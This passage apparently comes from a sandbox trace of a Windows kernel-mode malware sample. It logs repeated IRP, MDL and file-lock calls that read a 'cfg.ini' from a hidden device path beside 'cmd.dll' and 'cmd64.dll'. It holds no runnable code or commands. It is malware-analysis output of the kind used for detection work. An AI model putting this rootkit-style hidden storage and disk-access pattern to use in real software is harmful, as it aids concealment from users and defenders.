FastMutex=0xfffffa80027d3898) [0120.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.618] KeLeaveCriticalRegion () [0120.618] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.618] KeEnterCriticalRegion () [0120.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.618] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.618] IdePortDispatch () returned 0x103 [0120.618] KeWaitForMutexObject () returned 0x0 [0120.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.618] KeLeaveCriticalRegion () [0120.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.618] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.618] KeEnterCriticalRegion () [0120.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.618] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ad000 [0120.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.619] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.619] IdePortDispatch () returned 0x103 [0120.619] KeWaitForMutexObject () returned 0x0 [0120.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.619] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.619] IdePortDispatch () returned 0x103 [0120.619] KeWaitForMutexObject () returned 0x0 [0120.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.619] KeLeaveCriticalRegion () [0120.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.620] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.620] KeEnterCriticalRegion () [0120.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] KeLeaveCriticalRegion () [0120.620] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.620] KeEnterCriticalRegion () [0120.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.620] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] KeLeaveCriticalRegion () [0120.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.620] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.620] KeEnterCriticalRegion () [0120.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] KeLeaveCriticalRegion () [0120.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.620] ReleaseMutex (hMutex=0xf0) returned 1 [0120.620] Sleep (dwMilliseconds=0x124f80) [0120.635] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.635] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.635] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.635] KeEnterCriticalRegion () [0120.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.635] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.635] IdePortDispatch () returned 0x103 [0120.635] KeWaitForMutexObject () returned 0x0 [0120.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.636] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.636] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.636] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.636] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.636] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb8a0 [0120.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.636] KeLeaveCriticalRegion () [0120.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.636] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.636] KeEnterCriticalRegion () [0120.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.636] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.636] KeLeaveCriticalRegion () [0120.636] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.636] KeEnterCriticalRegion () [0120.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.636] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.636] IdePortDispatch () returned 0x103 [0120.636] KeWaitForMutexObject () returned 0x0 [0120.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.636] KeLeaveCriticalRegion () [0120.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.636] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.636] KeEnterCriticalRegion () [0120.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b2000 [0120.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.637] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.637] IdePortDispatch () returned 0x103 [0120.637] KeWaitForMutexObject () returned 0x0 [0120.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.637] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.637] IdePortDispatch () returned 0x103 [0120.637] KeWaitForMutexObject () returned 0x0 [0120.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.637] KeLeaveCriticalRegion () [0120.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.638] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.638] KeEnterCriticalRegion () [0120.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] KeLeaveCriticalRegion () [0120.638] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.638] KeEnterCriticalRegion () [0120.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.638] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] KeLeaveCriticalRegion () [0120.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.638] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.638] KeEnterCriticalRegion () [0120.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] ExFreePoolWithTag (P=0xfffffa8003bbb8a0, Tag=0x0) [0120.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] KeLeaveCriticalRegion () [0120.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.638] ReleaseMutex (hMutex=0xf0) returned 1 [0120.638] Sleep (dwMilliseconds=0x124f80) [0120.652] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.652] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.652] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.652] KeEnterCriticalRegion () [0120.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.652] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.652] IdePortDispatch () returned 0x103 [0120.652] KeWaitForMutexObject () returned 0x0 [0120.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.652] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.652] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.652] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.652] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.652] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.652] KeLeaveCriticalRegion () [0120.652] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.652] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.652] KeEnterCriticalRegion () [0120.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.652] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.652] KeLeaveCriticalRegion () [0120.652] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.652] KeEnterCriticalRegion () [0120.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.652] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.652] IdePortDispatch () returned 0x103 [0120.653] KeWaitForMutexObject () returned 0x0 [0120.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.653] KeLeaveCriticalRegion () [0120.653] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.653] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.653] KeEnterCriticalRegion () [0120.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.653] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b7000 [0120.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.653] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.653] IdePortDispatch () returned 0x103 [0120.653] KeWaitForMutexObject () returned 0x0 [0120.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.653] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.653] IdePortDispatch () returned 0x103 [0120.653] KeWaitForMutexObject () returned 0x0 [0120.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] KeLeaveCriticalRegion () [0120.654] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.654] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.654] KeEnterCriticalRegion () [0120.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] KeLeaveCriticalRegion () [0120.654] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.654] KeEnterCriticalRegion () [0120.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.654] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] KeLeaveCriticalRegion () [0120.654] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.654] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.654] KeEnterCriticalRegion () [0120.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.654] KeLeaveCriticalRegion () [0120.654] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.654] ReleaseMutex (hMutex=0xf0) returned 1 [0120.654] Sleep (dwMilliseconds=0x124f80) [0120.670] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.670] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.670] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.671] KeEnterCriticalRegion () [0120.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.671] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.671] IdePortDispatch () returned 0x103 [0120.671] KeWaitForMutexObject () returned 0x0 [0120.671] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.671] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.671] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.671] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.671] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.671] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb540 [0120.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.671] KeLeaveCriticalRegion () [0120.671] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.671] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.671] KeEnterCriticalRegion () [0120.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.671] KeLeaveCriticalRegion () [0120.671] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.671] KeEnterCriticalRegion () [0120.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.671] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.671] IdePortDispatch () returned 0x103 [0120.671] KeWaitForMutexObject () returned 0x0 [0120.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.672] KeLeaveCriticalRegion () [0120.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.672] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.672] KeEnterCriticalRegion () [0120.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.672] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bc000 [0120.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.672] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.672] IdePortDispatch () returned 0x103 [0120.672] KeWaitForMutexObject () returned 0x0 [0120.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.672] 